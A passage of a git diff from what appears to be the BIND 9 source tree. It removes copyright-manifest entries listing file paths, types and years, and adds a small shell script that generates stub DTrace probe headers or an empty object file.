-./lib/isc/include/isc/error.h			C	1998,1999,2000,2001,2004,2005,2006,2007,2009,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/event.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/eventclass.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/file.h			C	2000,2001,2004,2005,2006,2007,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/formatcheck.h		C	2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/fsaccess.h		C	2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/fuzz.h			C	2017,2018,2019,2020,2021
-./lib/isc/include/isc/glob.h			C	2020,2021
-./lib/isc/include/isc/hash.h			C	2003,2004,2005,2006,2007,2009,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/heap.h			C	1997,1998,1999,2000,2001,2004,2005,2006,2007,2009,2012,2016,2018,2019,2020,2021
-./lib/isc/include/isc/hex.h			C	2000,2001,2004,2005,2006,2007,2008,2016,2018,2019,2020,2021
-./lib/isc/include/isc/hmac.h			C	2000,2001,2004,2005,2006,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/hp.h			C	2019,2020,2021
-./lib/isc/include/isc/ht.h			C	2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/httpd.h			C	2006,2007,2008,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/interfaceiter.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/iterated_hash.h		C	2008,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/lang.h			C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/lex.h			C	1998,1999,2000,2001,2002,2004,2005,2007,2008,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/lib.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/likely.h			C	2017,2018,2019,2020,2021
-./lib/isc/include/isc/list.h			C	1997,1998,1999,2000,2001,2002,2004,2006,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/log.h			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/magic.h			C	1999,2000,2001,2004,2005,2006,2007,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/managers.h		C	2021
-./lib/isc/include/isc/md.h			C	2018,2019,2020,2021
-./lib/isc/include/isc/mem.h			C	1997,1998,1999,2000,2001,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/meminfo.h			C	2015,2016,2018,2019,2020,2021
-./lib/isc/include/isc/mutex.h			C	1998,1999,2000,2001,2002,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/mutexatomic.h		C	2019,2020,2021
-./lib/isc/include/isc/mutexblock.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/net.h			C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/netaddr.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/netdb.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/netmgr.h			C	2019,2020,2021
-./lib/isc/include/isc/netscope.h		C	2002,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/nonce.h			C	2018,2019,2020,2021
-./lib/isc/include/isc/offset.h			C	2000,2001,2004,2005,2007,2008,2016,2018,2019,2020,2021
-./lib/isc/include/isc/once.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/os.h			C	2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/parseint.h		C	2001,2002,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/platform.h.in		C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2014,2015,2016,2017,2018,2019,2020
-./lib/isc/include/isc/pool.h			C	2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/portset.h			C	2008,2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/print.h			C	1999,2000,2001,2003,2004,2005,2006,2007,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/include/isc/queue.h			C	2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/quota.h			C	2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/radix.h			C	2007,2008,2013,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/random.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/ratelimiter.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/refcount.h		C	2001,2003,2004,2005,2006,2007,2009,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/regex.h			C	2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/region.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/resource.h		C	2000,2001,2004,2005,2006,2007,2008,2016,2018,2019,2020,2021
-./lib/isc/include/isc/result.h			C	1998,1999,2000,2001,2003,2004,2005,2006,2007,2008,2009,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/resultclass.h		C	1999,2000,2001,2004,2005,2006,2007,2009,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/rwlock.h			C	1998,1999,2000,2001,2003,2004,2005,2006,2007,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/safe.h			C	2013,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/serial.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/siphash.h			C	2019,2020,2021
-./lib/isc/include/isc/sockaddr.h		C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2009,2012,2015,2016,2018,2019,2020,2021
-./lib/isc/include/isc/socket.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/stat.h			C	2004,2007,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/stats.h			C	2009,2012,2016,2018,2019,2020,2021
-./lib/isc/include/isc/stdatomic.h		C	2019,2020,2021
-./lib/isc/include/isc/stdio.h			C	2000,2001,2004,2005,2006,2007,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/stdtime.h			C	1999,2000,2001,2004,2005,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/isc/include/isc/strerr.h			C	2018,2019,2020,2021
-./lib/isc/include/isc/string.h			C	2000,2001,2003,2004,2005,2006,2007,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/symtab.h			C	1996,1997,1998,1999,2000,2001,2004,2005,2006,2007,2009,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/syslog.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/task.h			C	1998,1999,2000,2001,2003,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/taskpool.h		C	1999,2000,2001,2004,2005,2006,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/isc/include/isc/thread.h			C	1998,1999,2000,2001,2004,2005,2007,2013,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/time.h			C	1998,1999,2000,2001,2004,2005,2006,2007,2008,2009,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/timer.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2012,2013,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/tls.h			C	2021
-./lib/isc/include/isc/tm.h			C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/types.h			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/url.h			C	2021
-./lib/isc/include/isc/utf8.h			C	2020,2021
-./lib/isc/include/isc/util.h			C	1998,1999,2000,2001,2004,2005,2006,2007,2010,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/pk11/constants.h		C	2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/pk11/internal.h		C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/pk11/pk11.h			C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/pk11/result.h			C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/pk11/site.h			C	2016,2017,2018,2019,2020,2021
-./lib/isc/include/pkcs11/pkcs11.h		X	2019,2020,2021
-./lib/isc/interfaceiter.c			C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/iterated_hash.c			C	2006,2008,2009,2016,2018,2019,2020,2021
-./lib/isc/lex.c					C	1998,1999,2000,2001,2002,2003,2004,2005,2007,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/lib.c					C	1999,2000,2001,2004,2005,2007,2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/log.c					C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2009,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/managers.c				C	2021
-./lib/isc/md.c					C	2018,2019,2020,2021
-./lib/isc/mem.c					C	1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/mem_p.h				C	2018,2019,2020,2021
-./lib/isc/meminfo.c				C	2015,2016,2018,2019,2020,2021
-./lib/isc/mutex.c				C	2000,2001,2002,2004,2005,2007,2008,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/mutexblock.c				C	1999,2000,2001,2004,2005,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/isc/net.c					C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/netaddr.c				C	1999,2000,2001,2002,2004,2005,2007,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/netmgr/http.c				C	2021
-./lib/isc/netmgr/netmgr-int.h			C	2019,2020,2021
-./lib/isc/netmgr/netmgr.c			C	2019,2020,2021
-./lib/isc/netmgr/tcp.c				C	2019,2020,2021
-./lib/isc/netmgr/tcpdns.c			C	2019,2020,2021
-./lib/isc/netmgr/tlsdns.c			C	2020,2021
-./lib/isc/netmgr/tlsstream.c			C	2019,2020,2021
-./lib/isc/netmgr/udp.c				C	2019,2020,2021
-./lib/isc/netmgr/uv-compat.c			C	2020,2021
-./lib/isc/netmgr/uv-compat.h			C	2019,2020,2021
-./lib/isc/netmgr/uverr2result.c			C	2019,2020,2021
-./lib/isc/netmgr_p.h				C	2021
-./lib/isc/netscope.c				C	2002,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/nonce.c				C	2018,2019,2020,2021
-./lib/isc/openssl_shim.c			C	2018,2019,2020,2021
-./lib/isc/openssl_shim.h			C	2020,2021
-./lib/isc/os.c					C	2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/parseint.c				C	2001,2002,2003,2004,2005,2007,2012,2016,2018,2019,2020,2021
-./lib/isc/pk11.c				C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/pk11_api.c				C	2014,2016,2018,2019,2020,2021
-./lib/isc/pk11_result.c				C	2014,2015,2016,2018,2019,2020,2021
-./lib/isc/pool.c				C	2013,2015,2016,2018,2019,2020,2021
-./lib/isc/portset.c				C	2008,2016,2017,2018,2019,2020,2021
-./lib/isc/queue.c				C	2019,2020,2021
-./lib/isc/quota.c				C	2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/radix.c				C	2007,2008,2009,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/random.c				C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/ratelimiter.c				C	1999,2000,2001,2002,2004,2005,2007,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/regex.c				C	2013,2014.2015,2015,2016,2018,2019,2020,2021
-./lib/isc/region.c				C	2002,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/resource.c				C	2000,2001,2004,2007,2008,2009,2016,2018,2019,2020,2021
-./lib/isc/result.c				C	1998,1999,2000,2001,2003,2004,2005,2007,2008,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/rwlock.c				C	1998,1999,2000,2001,2003,2004,2005,2007,2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/safe.c				C	2020,2021
-./lib/isc/serial.c				C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/siphash.c				C	2019,2020,2021
-./lib/isc/sockaddr.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/socket.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/socket_p.h				C	2021
-./lib/isc/stats.c				C	2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/stdio.c				C	2000,2001,2004,2007,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./lib/isc/stdtime.c				C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/string.c				C	1999,2000,2001,2003,2004,2005,2006,2007,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/symtab.c				C	1996,1997,1998,1999,2000,2001,2004,2005,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/syslog.c				C	2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/task.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/task_p.h				C	2021
-./lib/isc/taskpool.c				C	1999,2000,2001,2004,2005,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/tests/aes_test.c			C	2014,2016,2018,2019,2020,2021
-./lib/isc/tests/buffer_test.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/counter_test.c			C	2014,2016,2018,2019,2020,2021
-./lib/isc/tests/crc64_test.c			C	2018,2019,2020,2021
-./lib/isc/tests/doh_test.c			C	2020,2021
-./lib/isc/tests/errno_test.c			C	2016,2018,2019,2020,2021
-./lib/isc/tests/file_test.c			C	2014,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/hash_test.c			C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/heap_test.c			C	2017,2018,2019,2020,2021
-./lib/isc/tests/hmac_test.c			C	2018,2019,2020,2021
-./lib/isc/tests/ht_test.c			C	2016,2017,2018,2019,2020,2021
-./lib/isc/tests/isctest.c			C	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/isctest.h			C	2011,2012,2016,2018,2019,2020,2021
-./lib/isc/tests/lex_test.c			C	2013,2016,2018,2019,2020,2021
-./lib/isc/tests/md_test.c			C	2018,2019,2020,2021
-./lib/isc/tests/mem_test.c			C	2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/netaddr_test.c			C	2016,2018,2019,2020,2021
-./lib/isc/tests/netmgr_test.c			C	2021
-./lib/isc/tests/parse_test.c			C	2012,2013,2016,2018,2019,2020,2021
-./lib/isc/tests/pool_test.c			C	2013,2016,2018,2019,2020,2021
-./lib/isc/tests/quota_test.c			C	2020,2021
-./lib/isc/tests/radix_test.c			C	2014,2016,2018,2019,2020,2021
-./lib/isc/tests/random_test.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/regex_test.c			C	2013,2015,2016,2018,2019,2020,2021
-./lib/isc/tests/result_test.c			C	2015,2016,2018,2019,2020,2021
-./lib/isc/tests/safe_test.c			C	2013,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/siphash_test.c			C	2019,2020,2021
-./lib/isc/tests/sockaddr_test.c			C	2012,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/socket_test.c			C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/symtab_test.c			C	2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/tests/task_test.c			C	2011,2012,2016,2017,2018,2019,2020,2021
-./lib/isc/tests/taskpool_test.c			C	2011,2012,2016,2018,2019,2020,2021
-./lib/isc/tests/testdata/file/keep		X	2014,2018,2019,2020,2021
-./lib/isc/tests/time_test.c			C	2014,2015,2016,2018,2019,2020,2021
-./lib/isc/tests/timer_test.c			C	2018,2019,2020,2021
-./lib/isc/tests/uv_wrap.h			C	2020,2021
-./lib/isc/thread.c				C	2000,2001,2003,2004,2005,2007,2013,2016,2017,2018,2019,2020,2021
-./lib/isc/time.c				C	1998,1999,2000,2001,2003,2004,2005,2006,2007,2008,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/timer.c				C	1998,1999,2000,2001,2002,2004,2005,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/timer_p.h				C	2021
-./lib/isc/tls.c					C	2021
-./lib/isc/tls_p.h				C	2021
-./lib/isc/tm.c					C	2014,2016,2018,2019,2020,2021
-./lib/isc/trampoline.c				C	2021
-./lib/isc/trampoline_p.h			C	2021
-./lib/isc/url.c					C	2021
-./lib/isc/utf8.c				C	2020,2021
-./lib/isccc/alist.c				C.NOM	2001,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./lib/isccc/base64.c				C.NOM	2001,2004,2005,2007,2013,2016,2018,2019,2020,2021
-./lib/isccc/cc.c				C.NOM	2001,2002,2003,2004,2005,2006,2007,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isccc/ccmsg.c				C.NOM	2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/alist.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/base64.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/cc.h			C.NOM	2001,2004,2005,2006,2007,2013,2014,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/ccmsg.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/events.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/result.h		C.NOM	2001,2003,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/sexpr.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/symtab.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/symtype.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/types.h		C.NOM	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccc/include/isccc/util.h		C.NOM	2001,2004,2005,2006,2007,2014,2016,2018,2019,2020,2021
-./lib/isccc/result.c				C.NOM	2001,2003,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./lib/isccc/sexpr.c				C.NOM	2001,2004,2005,2007,2014,2015,2016,2018,2019,2020,2021
-./lib/isccc/symtab.c				C.NOM	2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isccc/tests/result_test.c			C	2018,2019,2020,2021
-./lib/isccfg/aclconf.c				C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isccfg/dnsconf.c				C	2009,2016,2018,2019,2020,2021
-./lib/isccfg/include/isccfg/aclconf.h		C	1999,2000,2001,2004,2005,2006,2007,2010,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./lib/isccfg/include/isccfg/cfg.h		C	2000,2001,2002,2004,2005,2006,2007,2010,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isccfg/include/isccfg/grammar.h		C	2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isccfg/include/isccfg/kaspconf.h		C	2019,2020,2021
-./lib/isccfg/include/isccfg/log.h		C	2001,2004,2005,2006,2007,2009,2016,2018,2019,2020,2021
-./lib/isccfg/include/isccfg/namedconf.h		C	2002,2004,2005,2006,2007,2009,2010,2014,2016,2018,2019,2020,2021
-./lib/isccfg/kaspconf.c				C	2019,2020,2021
-./lib/isccfg/log.c				C	2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isccfg/namedconf.c			C	2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isccfg/parser.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isccfg/tests/duration_test.c		C	2019,2020,2021
-./lib/isccfg/tests/parser_test.c		C	2016,2018,2019,2020,2021
-./lib/ns/client.c				C	2017,2018,2019,2020,2021
-./lib/ns/hooks.c				C	2018,2019,2020,2021
-./lib/ns/include/ns/client.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/events.h			C	2020,2021
-./lib/ns/include/ns/hooks.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/interfacemgr.h		C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/lib.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/listenlist.h		C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/log.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/notify.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/query.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/server.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/sortlist.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/stats.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/types.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/update.h			C	2017,2018,2019,2020,2021
-./lib/ns/include/ns/xfrout.h			C	2017,2018,2019,2020,2021
-./lib/ns/interfacemgr.c				C	2017,2018,2019,2020,2021
-./lib/ns/lib.c					C	2017,2018,2019,2020,2021
-./lib/ns/listenlist.c				C	2017,2018,2019,2020,2021
-./lib/ns/log.c					C	2017,2018,2019,2020,2021
-./lib/ns/notify.c				C	2017,2018,2019,2020,2021
-./lib/ns/query.c				C	2017,2018,2019,2020,2021
-./lib/ns/server.c				C	2017,2018,2019,2020,2021
-./lib/ns/sortlist.c				C	2017,2018,2019,2020,2021
-./lib/ns/stats.c				C	2017,2018,2019,2020,2021
-./lib/ns/tests/listenlist_test.c		C	2017,2018,2019,2020,2021
-./lib/ns/tests/notify_test.c			C	2017,2018,2019,2020,2021
-./lib/ns/tests/nstest.c				C	2017,2018,2019,2020,2021
-./lib/ns/tests/nstest.h				C	2017,2018,2019,2020,2021
-./lib/ns/tests/plugin_test.c			C	2019,2020,2021
-./lib/ns/tests/query_test.c			C	2017,2018,2019,2020,2021
-./lib/ns/tests/testdata/notify/notify1.msg	X	2017,2018,2019,2020,2021
-./lib/ns/update.c				C	2017,2018,2019,2020,2021
-./lib/ns/xfrout.c				C	2017,2018,2019,2020,2021
-./util/COPYRIGHT				X	1996,1997,1998,1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./util/COPYRIGHT.BRIEF				X	1996,1997,1998,1999,2000,2001,2004,2016,2018,2019,2020,2021
-./util/COPYRIGHT.BSDI				X	2000,2001,2004,2007,2016,2018,2019,2020,2021
-./util/COPYRIGHT.NAI				X	1996,1997,1998,1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./util/COPYRIGHT.NOM				X	2001,2004,2007,2016,2018,2019,2020,2021
-./util/COPYRIGHT.PORTION			X	1996,1997,1998,1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./util/COPYRIGHT.TOP				X	2018,2019,2020,2021
-./util/bindkeys.pl				PERL	2009,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./util/branchsync.sh				SH	2013,2016,2018,2019,2020,2021
-./util/check-categories.sh			SH	2015,2016,2017,2018,2019,2020,2021
-./util/check-changes				PERL	2002,2004,2007,2012,2016,2018,2019,2020,2021
-./util/check-cocci				X	2018,2019,2020,2021
-./util/check-includes.pl			PERL	2000,2001,2004,2007,2012,2016,2017,2018,2019,2020,2021
-./util/check-instincludes.sh			SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/check-line-length.sh			SH	2021
-./util/check-make-install.in			SH	2020
-./util/check-pullups.pl				PERL	2001,2002,2003,2004,2007,2012,2016,2018,2019,2020,2021
-./util/check-sources.pl				PERL	2000,2001,2004,2007,2012,2013,2016,2018,2019,2020,2021
-./util/checklibs.sh				SH	2017,2018,2019,2020,2021
-./util/commit-arm.sh				SH	2012,2016,2018,2019,2020,2021
-./util/copyrights				X	1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./util/git-replay-merge.sh			SH	2018,2019,2020,2021
-./util/kit.sh					SH	2000,2001,2002,2003,2004,2007,2008,2009,2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./util/mandoc2docbook.pl			PERL	2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/mdnbuildtest.sh				SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/memleak.pl				PERL	1999,2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/merge_copyrights				PERL	1998,1999,2000,2001,2003,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./util/models.c					C	2015,2016,2017,2018,2019,2020,2021
-./util/nanny.pl					PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/new-func					PERL	2005,2007,2012,2016,2018,2019,2020,2021
-./util/pairwise-testing.sh			SH	2020,2021
-./util/parse_tsan.py				PYTHON-BIN	2019,2020,2021
-./util/run-clang-tidy				X	2020,2021
-./util/spacewhack.pl				PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/tabify-changes				SH	2004,2007,2012,2016,2018,2019,2020,2021
-./util/unused-headers.sh			SH	2020,2021
-./util/update-drafts.pl				PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./util/update_branches				PERL	2005,2007,2012,2016,2018,2019,2020,2021
-./util/update_copyrights			PERL	1998,1999,2000,2001,2004,2005,2006,2007,2008,2009,2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
diff --git a/util/dtrace.sh b/util/dtrace.sh
new file mode 100755
index 0000000000..a9da900238
--- /dev/null
+++ b/util/dtrace.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+USAGE="# Usage: ${0} [-h | -G] -s File.d [-o <File>]"
+
+mode=
+while getopts hGs:o: opt; do
+	case "${opt}" in
+		h) mode=header ;;
+		s) input=$OPTARG ;;
+		o) output=$OPTARG ;;
+		G) mode=object ;;
+		\?) echo $USAGE; exit 1;;
+	esac
+done
+shift $((OPTIND - 1))
+
+if test -z "${mode}" || test -z "${input}"; then
+	echo $USAGE; exit 1;
+fi
+
+case "${mode}" in
+	header)
+		if test -z "${output}"; then
+			output="$(basename "${input}" .d).h"
+		fi
+		PROVIDER=$(cat "${input}" | sed -ne 's/^provider \(.*\) {/\1/p' | tr "a-z" "A-Z")
+		sed -ne 's/.*probe \(.*\)(.*);/\1/p' "${input}" | tr "a-z" "A-Z" | while read PROBE; do
+			echo "#define ${PROVIDER}_${PROBE}_ENABLED() 0";
+			echo "#define ${PROVIDER}_${PROBE}(...)";
+		done > "${output}"
+		;;
+	object)
+		if test -z "${output}"; then
+			output="$(basename "${input}" .d).o"
+		fi
+		echo "extern int empty;" | gcc -xc -c - -fPIC -DPIC  -o "${output}"
+		;;
+esac
diff --git a/util/gen-eddsa-vectors.c b/util/gen-eddsa-vectors.c
new file mode 100644
index 0000000000..c9dcc3e2c2
--- /dev/null
+++ b/util/gen-eddsa-vectors.c
@@ -0,0 +1,129 @@
+/*
